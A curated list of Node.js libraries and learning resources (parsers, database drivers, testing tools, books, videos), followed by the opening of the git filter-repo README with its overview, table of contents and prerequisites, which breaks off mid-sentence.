[linkify-it](https://github.com/markdown-it/linkify-it) - Link patterns detector with full unicode support. - [url-pattern](https://github.com/snd/url-pattern) - Easier than regex string matching patterns for URLs and other strings. - [embedza](https://github.com/nodeca/embedza) - Create HTML snippets/embeds from URLs using info from oEmbed, Open Graph, meta tags. ### Data validation - [joi](https://github.com/hapijs/joi) - Object schema description language and validator for JavaScript objects. - [is-my-json-valid](https://github.com/mafintosh/is-my-json-valid) - JSON Schema validator that uses code generation to be extremely fast. - [property-validator](https://github.com/nettofarah/property-validator) - Easy property validation for Express. - [schema-inspector](https://github.com/Atinux/schema-inspector) - JSON API sanitization and validation. - [ajv](https://github.com/epoberezkin/ajv) - The fastest JSON Schema validator. Supports v5, v6 and v7 proposals. - [Superstruct](https://github.com/ianstormtaylor/superstruct) - Simple and composable way to validate data in JavaScript (and TypeScript). ### Parsing - [remark](https://github.com/wooorm/remark) - Markdown processor powered by plugins. - [markdown-it](https://github.com/markdown-it/markdown-it) - Markdown parser with 100% CommonMark support, extensions and syntax plugins. - [parse5](https://github.com/inikulin/parse5) - Fast full-featured spec compliant HTML parser. - [strip-json-comments](https://github.com/sindresorhus/strip-json-comments) - Strip comments from JSON. - [strip-css-comments](https://github.com/sindresorhus/strip-css-comments) - Strip comments from CSS. - [parse-json](https://github.com/sindresorhus/parse-json) - Parse JSON with more helpful errors. - [URI.js](https://github.com/medialize/URI.js) - URL mutation. - [PostCSS](https://github.com/postcss/postcss) - CSS parser / stringifier. - [JSONStream](https://github.com/dominictarr/JSONStream) - Streaming JSON.parse and stringify. - [neat-csv](https://github.com/sindresorhus/neat-csv) - Fast CSV parser. Callback interface for the above. - [csv-parser](https://github.com/mafintosh/csv-parser) - Streaming CSV parser that aims to be faster than everyone else. - [PEG.js](https://github.com/pegjs/pegjs) - Simple parser generator that produces fast parsers with excellent error reporting. - [x-ray](https://github.com/lapwinglabs/x-ray) - Web scraping utility. - [nearley](https://github.com/Hardmath123/nearley) - Simple, fast, powerful parsing for JavaScript. - [binary-extract](https://github.com/juliangruber/binary-extract) - Extract a value from a buffer of JSON without parsing the whole thing. - [Stylecow](https://github.com/stylecow/stylecow) - Parse, manipulate and convert modern CSS to make it compatible with all browsers. Extensible with plugins. - [js-yaml](https://github.com/nodeca/js-yaml) - Very fast YAML parser. - [xml2js](https://github.com/Leonidas-from-XIV/node-xml2js) - XML to JavaScript object converter. - [Jison](https://github.com/zaach/jison) - Friendly JavaScript parser generator. It shares genes with Bison, Yacc and family. - [google-libphonenumber](https://github.com/seegno/google-libphonenumber) - Parse, format, store and validate phone numbers. - [ref](https://github.com/TooTallNate/ref) - Read/write structured binary data in Buffers. - [xlsx-populate](https://github.com/dtjohnson/xlsx-populate) - Read/write Excel XLSX. - [Chevrotain](https://github.com/Chevrotain/chevrotain) - Very fast and feature rich parser building toolkit for JavaScript. - [fast-xml-parser](https://github.com/NaturalIntelligence/fast-xml-parser) - Validate and parse XML. ### Humanize - [pretty-bytes](https://github.com/sindresorhus/pretty-bytes) - Convert bytes to a human readable string: `1337` → `1.34 kB`. - [pretty-ms](https://github.com/sindresorhus/pretty-ms) - Convert milliseconds to a human readable string: `1337000000` → `15d 11h 23m 20s`. - [ms](https://github.com/rauchg/ms.js) - Tiny millisecond conversion utility. - [pretty-error](https://github.com/AriaMinaei/pretty-error) - Errors with less clutter. - [read-art](https://github.com/Tjatse/node-readability) - Extract readable content from any page. ### Compression - [yazl](https://github.com/thejoshwolfe/yazl) - Zip. - [yauzl](https://github.com/thejoshwolfe/yauzl) - Unzip. - [Archiver](https://github.com/archiverjs/node-archiver) - Streaming interface for archive generation, supporting ZIP and TAR. - [pako](https://github.com/nodeca/pako) - High speed zlib port to pure js (deflate, inflate, gzip). - [tar-stream](https://github.com/mafintosh/tar-stream) - Streaming tar parser and generator. Also see [tar-fs](https://github.com/mafintosh/tar-fs). - [decompress](https://github.com/kevva/decompress) - Decompression module with support for `tar`, `tar.gz` and `zip` files out of the box. ### Network - [get-port](https://github.com/sindresorhus/get-port) - Get an available port. - [ipify](https://github.com/sindresorhus/ipify) - Get your public IP address. - [getmac](https://github.com/bevry/getmac) - Get the computer MAC address. - [DHCP](https://github.com/infusion/node-dhcp) - DHCP client and server. - [netcat](https://github.com/roccomuso/netcat) - Netcat port in pure JS. ### Database - Drivers - [PostgreSQL](https://github.com/brianc/node-postgres) - PostgreSQL client. Pure JavaScript and native libpq bindings. - [Redis](https://github.com/luin/ioredis) - Redis client. - [LevelUP](https://github.com/Level/levelup) - LevelDB. - [MySQL](https://github.com/mysqljs/mysql) - MySQL client. - [couchdb-nano](https://github.com/apache/couchdb-nano) - CouchDB client. - [Aerospike](https://github.com/aerospike/aerospike-client-nodejs) - Aerospike client. - [Couchbase](https://github.com/couchbase/couchnode) - Couchbase client. - [MongoDB](https://github.com/mongodb/node-mongodb-native) - MongoDB driver. - ODM / ORM - [Sequelize](https://github.com/sequelize/sequelize) - Multi-dialect ORM. Supports PostgreSQL, SQLite, MySQL, and more. - [Bookshelf](https://github.com/bookshelf/bookshelf) - ORM for PostgreSQL, MySQL and SQLite3 in the style of Backbone.js. - [Massive](https://github.com/robconery/massive-js) - PostgreSQL data access tool. - [Mongoose](https://github.com/Automattic/mongoose) - Elegant MongoDB object modeling. - [Waterline](https://github.com/balderdashy/waterline) - Datastore-agnostic tool that dramatically simplifies interaction with one or more databases. - [OpenRecord](https://github.com/PhilWaldmann/openrecord) - ORM for PostgreSQL, MySQL, SQLite3 and RESTful datastores. Similar to ActiveRecord. - [pg-promise](https://github.com/vitaly-t/pg-promise) - PostgreSQL framework for native SQL using promises. - [slonik](https://github.com/gajus/slonik) - PostgreSQL client with strict types, detailed logging and assertions. - [Objection.js](https://github.com/Vincit/objection.js) - Lightweight ORM built on the SQL query builder Knex. - [TypeORM](https://github.com/typeorm/typeorm) - ORM for PostgreSQL, MariaDB, MySQL, SQLite, and more. - [MikroORM](https://github.com/mikro-orm/mikro-orm) - TypeScript ORM based on Data Mapper, Unit of Work and Identity Map patterns. Supports MongoDB, PostgreSQL, MySQL and SQLite. - [Prisma](https://github.com/prisma/prisma) - Modern database access (ORM alternative). Auto-generated and type-safe query builder in TypeScript. Supports PostgreSQL, MySQL & SQLite. - Query builder - [Knex](https://github.com/tgriesser/knex) - Query builder for PostgreSQL, MySQL and SQLite3, designed to be flexible, portable, and fun to use. - Other - [NeDB](https://github.com/louischatriot/nedb) - Embedded persistent database written in JavaScript. - [Lowdb](https://github.com/typicode/lowdb) - Small JavaScript database powered by Lodash. - [Keyv](https://github.com/lukechilds/keyv) - Simple key-value storage with support for multiple backends. - [Finale](https://github.com/tommybananas/finale) - RESTful endpoint generator for your Sequelize models. - [database-js](https://github.com/mlaanderson/database-js) - Wrapper for multiple databases with a JDBC-like connection. - [Mongo Seeding](https://github.com/pkosiec/mongo-seeding) - Populate MongoDB databases with JavaScript and JSON files. - [@databases](https://github.com/ForbesLindesay/atdatabases) - Query PostgreSQL, MySQL and SQLite3 with plain SQL without risking SQL injection. - [pg-mem](https://github.com/oguimbal/pg-mem) - In-memory PostgreSQL instance for your tests. ### Testing - [AVA](https://github.com/avajs/ava) - Futuristic test runner. - [Mocha](https://github.com/mochajs/mocha) - Feature-rich test framework making asynchronous testing simple and fun. - [nyc](https://github.com/bcoe/nyc) - Code coverage tool built on istanbul that works with subprocesses. - [tap](https://github.com/isaacs/node-tap) - TAP test framework. - [tape](https://github.com/substack/tape) - TAP-producing test harness. - [power-assert](https://github.com/power-assert-js/power-assert) - Provides descriptive assertion messages through the standard assert interface. - [Mochify](https://github.com/mantoni/mochify.js) - TDD with Browserify, Mocha, PhantomJS and WebDriver. - [trevor](https://github.com/vdemedes/trevor) - Run tests against multiple versions of Node.js without switching versions manually or pushing to Travis CI. - [loadtest](https://github.com/alexfernandez/loadtest) - Run load tests for your web application, with an API for automation. - [Sinon.JS](https://github.com/sinonjs/sinon) - Test spies, stubs and mocks. - [navit](https://github.com/nodeca/navit) - PhantomJS / SlimerJS wrapper to simplify browser test scripting. - [Nock](https://github.com/pgte/nock) - HTTP mocking and expectations. - [intern](https://github.com/theintern/intern) - Code testing stack. - [toxy](https://github.com/h2non/toxy) - Hackable HTTP proxy to simulate failure scenarios and network conditions. - [hook-std](https://github.com/sindresorhus/hook-std) - Hook and modify stdout/stderr. - [testen](https://github.com/egoist/testen) - Run tests for multiple versions of Node.js locally with NVM. - [Nightwatch](https://github.com/nightwatchjs/nightwatch) - Automated UI testing framework based on Selenium WebDriver. - [WebdriverIO](https://github.com/webdriverio/webdriverio) - Automated testing based on the WebDriver protocol. - [Jest](https://github.com/facebook/jest) - Painless JavaScript testing. - [TestCafe](https://github.com/DevExpress/testcafe) - Automated browser testing. - [abstruse](https://github.com/bleenco/abstruse) - Continuous Integration server. - [CodeceptJS](https://github.com/Codeception/CodeceptJS) - End-to-end testing. - [Puppeteer](https://github.com/GoogleChrome/puppeteer) - Headless Chrome. - [Playwright](https://github.com/microsoft/playwright) - Headless Chromium, WebKit, and Firefox with a single API. - [nve](https://github.com/ehmicky/nve) - Run any command on multiple versions of Node.js locally. - [axe-core](https://github.com/dequelabs/axe-core) - Accessibility engine for automated Web UI testing. - [testcontainers-node](https://github.com/testcontainers/testcontainers-node) - Provides lightweight, throwaway instances of common databases, Selenium web browsers, or anything else that can run in a Docker container. ### Security - [upash](https://github.com/simonepri/upash) - Unified API for all password hashing algorithms. - [themis](https://github.com/cossacklabs/themis) - Multilanguage framework for making typical encryption schemes easy to use: data at rest, authenticated data exchange, transport protection, authentication, and so on. - [GuardRails](https://github.com/apps/guardrails) - GitHub app that provides security feedback in pull requests. - [rate-limiter-flexible](https://github.com/animir/node-rate-limiter-flexible) - Brute-force and DDoS attack protection. - [crypto-hash](https://github.com/sindresorhus/crypto-hash) - Async non-blocking hashing. - [jose-simple](https://github.com/davesag/jose-simple) - Encryption and decryption of data using the JOSE (JSON Object Signing and Encryption) standard. ### Benchmarking - [Benchmark.js](https://github.com/bestiejs/benchmark.js) - Benchmarking library that supports high-resolution timers and returns statistically significant results. - [matcha](https://github.com/logicalparadox/matcha) - Simplistic approach to benchmarking. ### Minifiers - [babili](https://github.com/babel/babili) - ES2015+ aware minifier based on the Babel toolchain. - [UglifyJS2](https://github.com/mishoo/UglifyJS2) - JavaScript minifier. - [clean-css](https://github.com/jakubpawlowicz/clean-css) - CSS minifier. - [minimize](https://github.com/Swaagie/minimize) - HTML minifier. - [imagemin](https://github.com/imagemin/imagemin) - Image minifier. ### Authentication - [Passport](https://github.com/jaredhanson/passport) - Simple, unobtrusive authentication. - [Grant](https://github.com/simov/grant) - OAuth providers for Express, Koa, Hapi, Fastify, AWS Lambda, Azure, Google Cloud, Vercel, and many more. ### Authorization - [CASL](https://github.com/stalniy/casl) - Isomorphic authorization for UI and API. - [node-casbin](https://github.com/casbin/node-casbin) - Authorization library that supports access control models like ACL, RBAC and ABAC. ### Email - [Nodemailer](https://github.com/andris9/Nodemailer) - The fastest way to handle email. - [emailjs](https://github.com/eleith/emailjs) - Send text/HTML emails with attachments to any SMTP server. - [email-templates](https://github.com/niftylettuce/email-templates) - Create, preview, and send custom email templates. - [MJML](https://github.com/mjmlio/mjml) - Markup language designed to reduce the pain of creating responsive emails. ### Job queues - [bull](https://github.com/OptimalBits/bull) - Persistent job and message queue. - [agenda](https://github.com/rschmukler/agenda) - MongoDB-backed job scheduling. - [idoit](https://github.com/nodeca/idoit) - Redis-backed job queue engine with advanced job control. - [node-resque](https://github.com/taskrabbit/node-resque) - Redis-backed job queue. - [rsmq](https://github.com/smrchy/rsmq) - Redis-backed message queue. - [bee-queue](https://github.com/bee-queue/bee-queue) - High-performance Redis-backed job queue. - [RedisSMQ](https://github.com/weyoss/redis-smq) - Simple high-performance Redis message queue with real-time monitoring. - [sqs-consumer](https://github.com/bbc/sqs-consumer) - Build Amazon Simple Queue Service (SQS) based apps without the boilerplate. - [better-queue](https://github.com/diamondio/better-queue) - Simple and efficient job queue when you cannot use Redis. ### Node.js management - [n](https://github.com/tj/n) - Node.js version management. - [nave](https://github.com/isaacs/nave) - Virtual Environments for Node.js. - [nodeenv](https://github.com/ekalinin/nodeenv) - Node.js virtual environment compatible to Python's virtualenv. - [nvm for Windows](https://github.com/coreybutler/nvm-windows) - Version management for Windows. - [nodenv](https://github.com/nodenv/nodenv) - Version manager that is similar to Ruby's rbenv. It supports auto version switching. - [fnm](https://github.com/Schniz/fnm) - Cross-platform Node.js version manager built in Rust. ### Natural language processing - [retext](https://github.com/wooorm/retext) - An extensible natural language system. - [franc](https://github.com/wooorm/franc) - Detect the language of text. - [leven](https://github.com/sindresorhus/leven) - Measure the difference between two strings using the Levenshtein distance algorithm. - [natural](https://github.com/NaturalNode/natural) - Natural language facility. - [nlp.js](https://github.com/axa-group/nlp.js) - Building bots, with entity extraction, sentiment analysis, automatic language identify, and more. ### Process management - [PM2](https://github.com/Unitech/pm2) - Advanced Process Manager. - [nodemon](https://github.com/remy/nodemon) - Monitor for changes in your app and automatically restart the server. - [node-mac](https://github.com/coreybutler/node-mac) - Run scripts as a native Mac daemon and log to the console app. - [node-linux](https://github.com/coreybutler/node-linux) - Run scripts as native system service and log to syslog. - [node-windows](https://github.com/coreybutler/node-windows) - Run scripts as a native Windows service and log to the Event viewer. - [supervisor](https://github.com/petruisfan/node-supervisor) - Restart scripts when they crash or restart when a `*.js` file changes. - [Phusion Passenger](https://github.com/phusion/passenger) - Friendly process manager that integrates directly into Nginx. ### Automation - [robotjs](https://github.com/octalmage/robotjs) - Desktop Automation: control the mouse, keyboard and read the screen. - [nut.js](https://github.com/nut-tree/nut.js) - Cross-platform native GUI automation / testing framework with image matching capabilities which integrates with Jest. ### AST - [Acorn](https://github.com/ternjs/acorn) - Tiny, fast JavaScript parser. - [babel-parser](https://github.com/babel/babel/tree/master/packages/babel-parser) - JavaScript parser used in Babel. - [cherow](https://github.com/cherow/cherow) - JavaScript parser with focus on performance and stability. ### Static site generators - [Wintersmith](https://github.com/jnordberg/wintersmith) - Flexible, minimalistic, multi-platform static site generator. - [Assemble](https://github.com/assemble/assemble/) - Static site generator for Node.js, Grunt.js, and Yeoman. - [DocPad](https://github.com/docpad/docpad) - Static site generator with dynamic abilities and huge plugin ecosystem. - [Phenomic](https://github.com/phenomic/phenomic) - Modern static website generator based on the React and Webpack ecosystem. - [docsify](https://github.com/QingWei-Li/docsify) - Markdown documentation site generator with no statically built HTML files. - [Charge](https://github.com/brandonweiss/charge) - Opinionated, zero-config static site generator using JSX and MDX. ### Content management systems - [KeystoneJS](https://github.com/keystonejs/keystone) - CMS and web application platform built on Express and MongoDB. - [ApostropheCMS](https://github.com/apostrophecms/apostrophe) - Content management system with an emphasis on intuitive front end content editing and administration built on Express and MongoDB. - [Strapi](https://github.com/strapi/strapi) - Content Management Framework (headless-CMS) to build powerful APIs. - [Tipe](https://github.com/tipeio/tipe) - Developer-first content management system with GraphQL and REST API from a schema file. - [Factor](https://github.com/fiction-com/factor) - Vue.js dashboard framework and headless CMS. - [AdminBro](https://github.com/SoftwareBrothers/admin-bro) - Auto-generated admin panel with CRUD for all your resources. ### Forum - [nodeBB](https://github.com/NodeBB/NodeBB) - Forum platform for the modern web. ### Blogging - [Ghost](https://github.com/TryGhost/Ghost) - Simple, powerful publishing platform. - [Hexo](https://github.com/hexojs/hexo) - Fast, simple and powerful blogging framework. ### Weird - [cows](https://github.com/sindresorhus/cows) - ASCII cows. - [superb](https://github.com/sindresorhus/superb) - Get superb like words. - [cat-names](https://github.com/sindresorhus/cat-names) - Get popular cat names. - [dog-names](https://github.com/sindresorhus/dog-names) - Get popular dog names. - [superheroes](https://github.com/sindresorhus/superheroes) - Get superhero names. - [supervillains](https://github.com/sindresorhus/supervillains) - Get supervillain names. - [cool-ascii-faces](https://github.com/maxogden/cool-ascii-faces) - Get some cool ascii faces. - [cat-ascii-faces](https://github.com/melaniecebula/cat-ascii-faces) - `₍˄·͈༝·͈˄₎◞ ̑̑ෆ⃛ (=ↀωↀ=)✧ (^･o･^)ﾉ”`. - [nerds](https://github.com/SkyHacks/nerds) - Get data from nerdy topics like Harry Potter, Star Wars, and Pokémon. ### Serialization - [snappy](https://github.com/kesla/node-snappy) - Native bindings for Google's Snappy compression library. - [protobuf](https://github.com/dcodeIO/protobuf.js) - Implementation of Protocol Buffers. - [compactr](https://github.com/compactr/compactr.js) - Implementation of the Compactr protocol. ### Miscellaneous - [execa](https://github.com/sindresorhus/execa) - Better `child_process`. - [cheerio](https://github.com/cheeriojs/cheerio) - Fast, flexible, and lean implementation of core jQuery designed specifically for the server. - [Electron](https://github.com/atom/electron) - Build cross platform desktop apps with web technologies. *(You might like [awesome-electron](https://github.com/sindresorhus/awesome-electron))* - [open](https://github.com/sindresorhus/open) - Opens stuff like websites, files, executables. - [hasha](https://github.com/sindresorhus/hasha) - Hashing made simple. Get the hash of a buffer/string/stream/file. - [dot-prop](https://github.com/sindresorhus/dot-prop) - Get a property from a nested object using a dot path. - [onetime](https://github.com/sindresorhus/onetime) - Only run a function once. - [mem](https://github.com/sindresorhus/mem) - Memoize functions - an optimization technique used to speed up consecutive function calls by caching the result of calls with identical input. - [import-fresh](https://github.com/sindresorhus/import-fresh) - Import a module while bypassing the cache. - [strip-bom](https://github.com/sindresorhus/strip-bom) - Strip UTF-8 byte order mark (BOM) from a string/buffer/stream. - [os-locale](https://github.com/sindresorhus/os-locale) - Get the system locale. - [ssh2](https://github.com/mscdex/ssh2) - SSH2 client and server module. - [adit](https://github.com/markelog/adit) - SSH tunneling made simple. - [import-lazy](https://github.com/sindresorhus/import-lazy) - Import a module lazily. - [file-type](https://github.com/sindresorhus/file-type) - Detect the file type of a Buffer. - [Bottleneck](https://github.com/SGrondin/bottleneck) - Rate limiter that makes throttling easy. - [ow](https://github.com/sindresorhus/ow) - Function argument validation for humans. - [webworker-threads](https://github.com/audreyt/node-webworker-threads) - Lightweight Web Worker API implementation with native threads. - [clipboardy](https://github.com/sindresorhus/clipboardy) - Access the system clipboard (copy/paste). - [node-pre-gyp](https://github.com/mapbox/node-pre-gyp) - Makes it easy to publish and install Node.js C++ addons from binaries. - [opencv](https://github.com/peterbraden/node-opencv) - Bindings for OpenCV. The defacto computer vision library. - [dotenv](https://github.com/motdotla/dotenv) - Load environment variables from .env file. - [remote-git-tags](https://github.com/sindresorhus/remote-git-tags) - Get tags from a remote git repo. - [semver](https://github.com/npm/node-semver) - Semantic version parser. - [Faker.js](https://github.com/Marak/Faker.js) - Generate massive amounts of fake data. - [nodegit](https://github.com/nodegit/nodegit) - Native bindings to Git. - [json-strictify](https://github.com/pigulla/json-strictify) - Safely serialize a value to JSON without data loss or going into an infinite loop. - [resolve-from](https://github.com/sindresorhus/resolve-from) - Resolve the path of a module like `require.resolve()` but from a given path. - [simplecrawler](https://github.com/cgiffard/node-simplecrawler) - Event driven web crawler. - [jsdom](https://github.com/tmpvar/jsdom) - JavaScript implementation of HTML and the DOM. - [hypernova](https://github.com/airbnb/hypernova) - Server-side rendering your JavaScript views. - [@sindresorhus/is](https://github.com/sindresorhus/is) - Type check values. - [env-dot-prop](https://github.com/simonepri/env-dot-prop) - Get, set, or delete nested properties of process.env using a dot path. - [emittery](https://github.com/sindresorhus/emittery) - Simple and modern async event emitter. - [node-video-lib](https://github.com/gkozlenko/node-video-lib) - Pure JavaScript library for working with MP4 and FLV video files and creating MPEG-TS chunks for HLS streaming. - [basic-ftp](https://github.com/patrickjuchli/basic-ftp) – FTP/FTPS client. - [cashify](https://github.com/xxczaki/cashify) - Currency conversion. - [genepi](https://github.com/Geode-solutions/genepi) - Automatically generate a native Node.js addon from C++ code. - [husky](https://github.com/typicode/husky) - Create Git hook scripts. - [patch-package](https://github.com/ds300/patch-package) - Make and preserve fixes to npm dependencies. - [editly](https://github.com/mifi/editly) - Declarative video editing API. ## Resources ### Tutorials - [Node.js Best Practices](https://github.com/i0natan/nodebestpractices) - Summary and curation of the top-ranked content on Node.js best practices, available in multiple languages. - [Nodeschool](https://github.com/nodeschool) - Learn Node.js with interactive lessons. - [The Art of Node](https://github.com/maxogden/art-of-node/#the-art-of-node) - An introduction to Node.js. - [stream-handbook](https://github.com/substack/stream-handbook) - How to write Node.js programs with streams. - [module-best-practices](https://github.com/mattdesl/module-best-practices) - Some good practices when writing new npm modules. - [The Node Way](http://thenodeway.io) - An entire philosophy of Node.js best practices and guiding principles exists for writing maintainable modules, scalable applications, and code that is actually pleasant to read. - [You Don't Know Node.js](https://github.com/azat-co/you-dont-know-node) - Introduction to Node.js core features and asynchronous JavaScript. - [Portable Node.js guide](https://github.com/ehmicky/portable-node-guide) - Practical guide on how to write portable/cross-platform Node.js code. - [Build a real web app with no frameworks](https://frameworkless.js.org/course) - A set of video tutorials/livestreams to help you build and deploy a real, live web app using a handful of simple libraries and the core Node.js modules. ### Discovery - [npms](https://npms.io) - Superb package search with deep analysis of package quality using a [myriad of metrics](https://npms.io/about). - [npm addict](https://npmaddict.com) - Your daily injection of npm packages. - [npmcompare.com](https://npmcompare.com) - Compare and discover npm packages. ### Articles - [Error Handling in Node.js](https://www.joyent.com/node-js/production/design/errors) - [Teach Yourself Node.js in 10 Steps](https://ponyfoo.com/articles/teach-yourself-nodejs-in-10-steps) - [Mastering the filesystem in Node.js](https://medium.com/@yoshuawuyts/mastering-the-filesystem-in-node-js-4706b7cb0801) - [Semver: A Primer](https://nodesource.com/blog/semver-a-primer/) - [Semver: Tilde and Caret](https://nodesource.com/blog/semver-tilde-and-caret/) - [Why Asynchronous?](https://nodesource.com/blog/why-asynchronous/) - [Understanding the Node.js Event Loop](https://nodesource.com/blog/understanding-the-nodejs-event-loop/) - [Understanding Object Streams](https://nodesource.com/blog/understanding-object-streams/) - [Art of README](https://github.com/noffle/art-of-readme) - Learn the art of writing quality READMEs. - [Using Express to Quickly Build a GraphQL Server](https://snipcart.com/blog/graphql-nodejs-express-tutorial) ### Newsletters - [Node Weekly](http://nodeweekly.com) - Weekly e-mail round-up of Node.js news and articles. - [Node Module Of The Week!](https://nmotw.in) - Weekly dose of hand picked node modules. ### Videos - [Introduction to Node.js with Ryan Dahl](https://www.youtube.com/watch?v=jo_B4LTHi3I) - [Hands on with Node.js](https://learn.bevry.me/hands-on-with-node.js/preface) - [Nodetuts](http://nodetuts.com) - Series of talks, including TCP & HTTP API servers, async programming, and more. - [V8 Garbage Collector](https://v8.dev/blog/trash-talk) - Trash talk about the V8 garbage collector. - [10 Things I Regret About Node.js by Ryan Dahl](https://www.youtube.com/watch?v=M3BM9TB-8yA) - Insightful talk by the creator of Node.js about some of its limitions. - [Mastering REST APIs in Node.js: Zero-To-Hero](https://www.manning.com/livevideo/mastering-rest-apis-in-nodejs) - Video course on how to make REST APIs using Node.js. - [Make a vanilla Node.js REST API](https://www.youtube.com/watch?v=_1xa8Bsho6A) - Building a REST API without using a framework like Express. - [Google I/O 2009 - V8: High Performance JavaScript Engine](https://www.youtube.com/watch?v=FrufJFBSoQY) - The basics of V8 architecture and how it optimizes JavaScript execution. - [Google I/O 2012 - Breaking the JavaScript Speed Limit with V8](https://www.youtube.com/watch?v=UJPdhx5zTaw) - How V8 optimizes JavaScript execution. - [Google I/O 2013 - Accelerating Oz with V8: Follow the Yellow Brick Road to JavaScript Performance](https://www.youtube.com/watch?v=VhpdsjBUS3g) - How to detect app bottlenecks and optimize performance with V8 knowledge. - [Node.js Internal Architecture | Ignition, Turbofan, Libuv](https://www.youtube.com/watch?v=OCjvhCFFPTw) - How Node.js works internally, with a focus on V8 and libuv. - [Introduction to libuv: What's a Unicorn Velociraptor?](https://www.youtube.com/watch?v=_c51fcXRLGw) - `libuv` architecture, thread pool, and event loop, with its source code. - [libuv Cross platform asynchronous i/o](https://www.youtube.com/watch?v=kCJ3PFU8Ke8) - `libuv` architecture in detail, such as where it's actually using threads. - [You Don't Know Node - ForwardJS San Francisco](https://www.youtube.com/watch?v=oPo4EQmkjvY) - Explaining Node.js internals with quizzes about V8, libuv, event loop, module, stream, and cluster. ### Books - [Node.js in Action](https://www.manning.com/books/node-js-in-action-second-edition) - [Node.js in Practice](http://www.amazon.com/Node-js-Practice-Alex-R-Young/dp/1617290939) - [Mastering Node](http://visionmedia.github.io/masteringnode/) - [Node.js 8 the Right Way](https://pragprog.com/book/jwnode2/node-js-8-the-right-way) - [Professional Node.js: Building JavaScript Based Scalable Software](http://www.amazon.com/Professional-Node-js-Building-Javascript-Scalable-ebook/dp/B009L7QETY/) - [Practical Node.js: Building Real-World Scalable Web Apps](http://practicalnodebook.com) - [Mixu's Node book](http://book.mixu.net/node/) - [Pro Express.js](http://proexpressjs.com) - [Secure Your Node.js Web Application](http://www.amazon.com/Secure-Your-Node-js-Web-Application/dp/1680500856) - [Express in Action](https://www.manning.com/books/express-in-action) - [Practical Modern JavaScript](https://www.amazon.com/Practical-Modern-JavaScript-Dive-Future/dp/149194353X) - [Mastering Modular JavaScript](https://www.amazon.com/Mastering-Modular-JavaScript-Nicolas-Bevacqua/dp/1491955686/) - [Get Programming with Node.js](https://www.manning.com/books/get-programming-with-node-js) - [Node.js Cookbook](https://www.amazon.com/dp/1838558756) - [Node.js Design Patterns](https://www.nodejsdesignpatterns.com) ### Blogs - [Node.js blog](https://nodejs.org/en/blog/) - [webapplog.com](http://webapplog.com/tag/node-js/) - Blog posts on Node.js and JavaScript from the author of Practical Node.js and Pro Express.js Azat Mardan. ### Courses - [Learn to build apps and APIs with Node.js](https://learnnode.com/friend/AWESOME) - Video course by Wes Bos. - [Real Time Web with Node.js](https://www.codeschool.com/courses/real-time-web-with-node-js) - [Learn and Understand Node.js](https://www.udemy.com/understand-nodejs) ### Cheatsheets - [Express.js](https://github.com/azat-co/cheatsheets/blob/master/express4) - [Stream FAQs](https://github.com/stephenplusplus/stream-faqs) - Answering common questions about streams, covering pagination, events, and more. - [Strong Node.js](https://github.com/jesusprubio/strong-node) - Checklist for source code security analysis of a Node.js web service. ### Tools - [OctoLinker](https://chrome.google.com/webstore/detail/octolinker/jlmafbaeoofdegohdhinkhilhclaklkp) - Chrome extension that linkifies dependencies in package.json, .js, .jsx, .coffee and .md files on GitHub. - [npm-hub](https://chrome.google.com/webstore/detail/npm-hub/kbbbjimdjbjclaebffknlabpogocablj) - Chrome extension to display npm dependencies at the bottom of a repo's readme. - [RunKit](http://blog.tonicdev.com/2015/09/30/embedded-tonic.html) - Embed a Node.js environment on any website. - [github-npm-stats](https://chrome.google.com/webstore/detail/github-npm-stats/oomfflokggoffaiagenekchfnpighcef) - Chrome extension that displays npm download stats on GitHub. - [npm semver calculator](https://semver.npmjs.com) - Visually explore what versions of a package a semver range matches. - [CodeSandbox](https://codesandbox.io/s/node-http-server-node) - Online IDE and prototyping. ### Community - [Gitter](https://gitter.im/nodejs/node) - [`#node.js` on Freenode](http://webchat.freenode.net/?channels=node.js) - [Stack Overflow](http://stackoverflow.com/questions/tagged/node.js) - [Reddit](https://www.reddit.com/r/node) - [Twitter](https://twitter.com/nodejs) - [Hashnode](https://hashnode.com/n/nodejs) - [Discord](https://discordapp.com/invite/96WGtJt) ### Miscellaneous - [nodebots](http://nodebots.io) - Robots powered by JavaScript. - [node-module-boilerplate](https://github.com/sindresorhus/node-module-boilerplate) - Boilerplate to kickstart creating a node module. - [modern-node](https://github.com/sheerun/modern-node) - Toolkit for creating node modules with Jest, Prettier, ESLint, and Standard. - [generator-nm](https://github.com/sindresorhus/generator-nm) - Scaffold out a node module. - [Microsoft Node.js Guidelines](https://github.com/Microsoft/nodejs-guidelines) - Tips, tricks, and resources for working with Node.js on Microsoft platforms. - [Module Requests & Ideas](https://github.com/sindresorhus/module-requests) - Request a JavaScript module you wish existed or get ideas for modules. - [v8-perf](https://github.com/thlorenz/v8-perf) - Notes and resources related to V8 and thus Node.js performance. ## Related lists - [awesome-npm](https://github.com/sindresorhus/awesome-npm) - Resources and tips for using npm. - [awesome-cross-platform-nodejs](https://github.com/bcoe/awesome-cross-platform-nodejs) - Resources for writing and testing cross-platform code.

git filter-repo is a versatile tool for rewriting history, which includes [capabilities I have not found anywhere else](#design-rationale-behind-filter-repo). It roughly falls into the same space of tool as [git filter-branch](https://git-scm.com/docs/git-filter-branch) but without the capitulation-inducing poor [performance](https://public-inbox.org/git/CABPp-BGOz8nks0+Tdw5GyGqxeYR-3FF6FT5JcgVqZDYVRQ6qog@mail.gmail.com/), with far more capabilities, and with a design that scales usability-wise beyond trivial rewriting cases. [git filter-repo is now recommended by the git project](https://git-scm.com/docs/git-filter-branch#_warning) instead of git filter-branch. While most users will probably just use filter-repo as a simple command line tool (and likely only use a few of its flags), at its core filter-repo contains a library for creating history rewriting tools. As such, users with specialized needs can leverage it to quickly create [entirely new history rewriting tools](contrib/filter-repo-demos). # Table of Contents * [Prerequisites](#prerequisites) * [How do I install it?](#how-do-i-install-it) * [How do I use it?](#how-do-i-use-it) * [Why filter-repo instead of other alternatives?](#why-filter-repo-instead-of-other-alternatives) * [filter-branch](#filter-branch) * [BFG Repo Cleaner](#bfg-repo-cleaner) * [Simple example, with comparisons](#simple-example-with-comparisons) * [Solving this with filter-repo](#solving-this-with-filter-repo) * [Solving this with BFG Repo Cleaner](#solving-this-with-bfg-repo-cleaner) * [Solving this with filter-branch](#solving-this-with-filter-branch) * [Solving this with fast-export/fast-import](#solving-this-with-fast-exportfast-import) * [Design rationale behind filter-repo](#design-rationale-behind-filter-repo) * [How do I contribute?](#how-do-i-contribute) * [Is there a Code of Conduct?](#is-there-a-code-of-conduct) * [Upstream Improvements](#upstream-improvements) # Prerequisites filter-repo requires: * git >= 2.22.0 at a minimum; [some features](#upstream-improvements) require git >= 2.24.0 or later * python3 >= 3.5 # How do I install it? `git-filter-repo` is a single-file python 